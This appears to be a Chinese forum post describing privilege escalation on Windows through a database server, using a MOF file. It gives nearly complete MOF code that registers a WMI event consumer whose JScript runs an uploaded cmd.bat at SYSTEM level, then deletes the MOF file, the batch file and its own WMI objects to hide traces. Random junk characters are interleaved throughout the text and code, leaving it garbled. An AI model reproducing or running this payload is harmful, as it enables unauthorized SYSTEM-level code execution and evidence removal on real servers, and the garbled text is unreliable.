这个sql提权MOF需要运行 system下的文件,不能定义路径。% _' [8 r" F- y
需要将要运行的命令写入到bat上传到system32目录,然后执行。
6 [. C- m" g0 [) R! l+ C+ L8 W
) c1 s5 A& }* }& V这个sql提权MOF需要运行 system下的文件,不能定义路径。& }/ j: X2 o6 z* _7 N$ L7 r1 c
需要将要运行的命令写入到bat上传到system32目录,然后执行。
7 {: g. v8 w7 W2 M7 a( T" k- d
#pragma$ _4 Q m8 W5 {) I8 N) k; o
namespace("\\\\.\\root\\cimv2")+ B L; I6 U6 ?( y- E, F. D
class
/ b/ M8 I6 T5 o; b MyClass547
. h3 i, s1 ~# W# W/ u1 _2 j { [key]
0 ?3 q3 ~+ D# ?7 i. j: V string9 G1 t1 Y/ X* X' [* Z% T/ P4 H( i' t
Name;! {& Z+ \, Y! a
};
$ G H% k. ]3 ^' f class
9 s( g" x& t9 j; y: z) O ActiveScriptEventConsumer
, R8 B s7 e. R1 r : __EventConsumer { [key]
3 i$ `' r+ \/ T, B8 {4 J" w4 w string
- l% I; h7 n _* b Name; [not_null]
9 n: j) o0 e1 F7 E# ^4 N; ^# K string7 J6 S# R! c% a* p y
ScriptingEngine; string
( T8 Y6 Y* N; \& U+ X7 _6 N ScriptFileName; [template]
0 @7 R% ?# m; [) J: V! f% h string$ G+ L J# F5 ~# e
ScriptText; uint32 KillTimeout;
0 F+ X( ?; A$ b* O. _& z6 @ }; instance of __Win32Provider as $P {% \+ `7 t! G$ e' f: F2 P/ u* d
Name5 @# b5 X, c, a7 P9 x: v) e
=& m( H$ G$ N' T2 i
"ActiveScriptEventConsumer"; CLSID =
( a. |8 ?$ D5 t S) N0 w "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 p6 Z% c0 x8 c4 m1 D/ l( A5 a PerUserInitialization
: O/ N( ` T y) O/ X* t3 L0 } = TRUE;/ i1 j' s. |3 l. W0 z3 T p; B
}; instance of __EventConsumerProviderRegistration { Provider! E4 T6 z, r2 p. l. ^$ u- L# p3 M
= $P; ConsumerClassNames* v ^7 r' O6 Y1 ]- u7 u
=
" ~- i+ H% p/ j7 O2 M {"ActiveScriptEventConsumer"};
7 P' G% f. n. ^* S3 o7 l- `8 e' @6 m) A };
7 e2 d1 Y! o7 g3 q Instance of ActiveScriptEventConsumer% e* s/ V: m0 a+ I! L/ ~: \
as $cons { Name
/ | _# E' ~) @: ~& q =
2 r! y* D- `9 I9 S "ASEC"; ScriptingEngine
: L' H. H( o2 [8 Y =2 j' r8 y7 C5 c( _8 q
"JScript"; ScriptText
: R- |1 q: } d- P0 V4 x J/ t =
% a/ L: W2 z$ j "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };; g( m% V `, s& N2 H% A2 G5 D3 s" K# w
Instance of ActiveScriptEventConsumer+ w* o3 e, a! j
as $cons2 { Name
0 y$ }; J2 g1 Q; {. y% p# L/ P =; d# I( O- L& p, n; U$ V# k$ K! Z
"qndASEC"; ScriptingEngine- ]9 J. D0 O. P, r4 K1 f
=1 j5 c4 A& w8 n0 r+ x5 B4 j, c7 j
"JScript"; ScriptText) q$ F p0 \% N! V4 a& R7 _. j
=
0 G2 v0 ~8 L+ D; l2 Q4 j+ H "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";% Y3 K" U% J" O$ q# N
}; instance of __EventFilter as $Filt { Name. [) V3 {& h7 q" E
=
/ {7 t/ C2 q7 M# z. k, r "instfilt"; Query" N) F& ]; e; M; `8 t, J- M
=
/ R k; V0 r8 ]3 T1 A4 u "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
7 M% ~, V, }" I3 z) [ =
2 v) g- |( e/ o. e' A "WQL"; }; instance of __EventFilter as $Filt2 { Name
4 {, Q5 x; ? B4 h0 M- q$ e: m =
2 j' C* J7 M2 f- }% } "qndfilt"; Query' d5 S8 R5 a, B1 f; ^4 f6 _! x
=
) f* W# r4 k1 | "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
" T. i% i; n+ { R' @ =; q1 ~$ Z) j, C* [/ y) P' @
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer( { _6 }4 A* Z* v) i( z
= $cons; Filter4 C2 S" K* I% H" X' H
= $Filt;% I" m8 m5 i4 Y
}; instance of __FilterToConsumerBinding as $bind2 { Consumer: c9 l2 M0 U7 W3 I4 d$ G: ^
= $cons2; Filter
$ |2 k( z2 {% |) a' r. _ = $Filt2;
0 V2 F9 Z7 P2 J' R1 K# t, C! G/ V }; instance of MyClass547
' Q7 V6 X# `* F" g3 R0 S8 A& X. S as $MyClass { Name
5 a% G/ o& t" }' M =8 z$ L/ l+ p% q* P2 O$ z
"ClassConsumer";
& u" F1 } x" x7 C }; |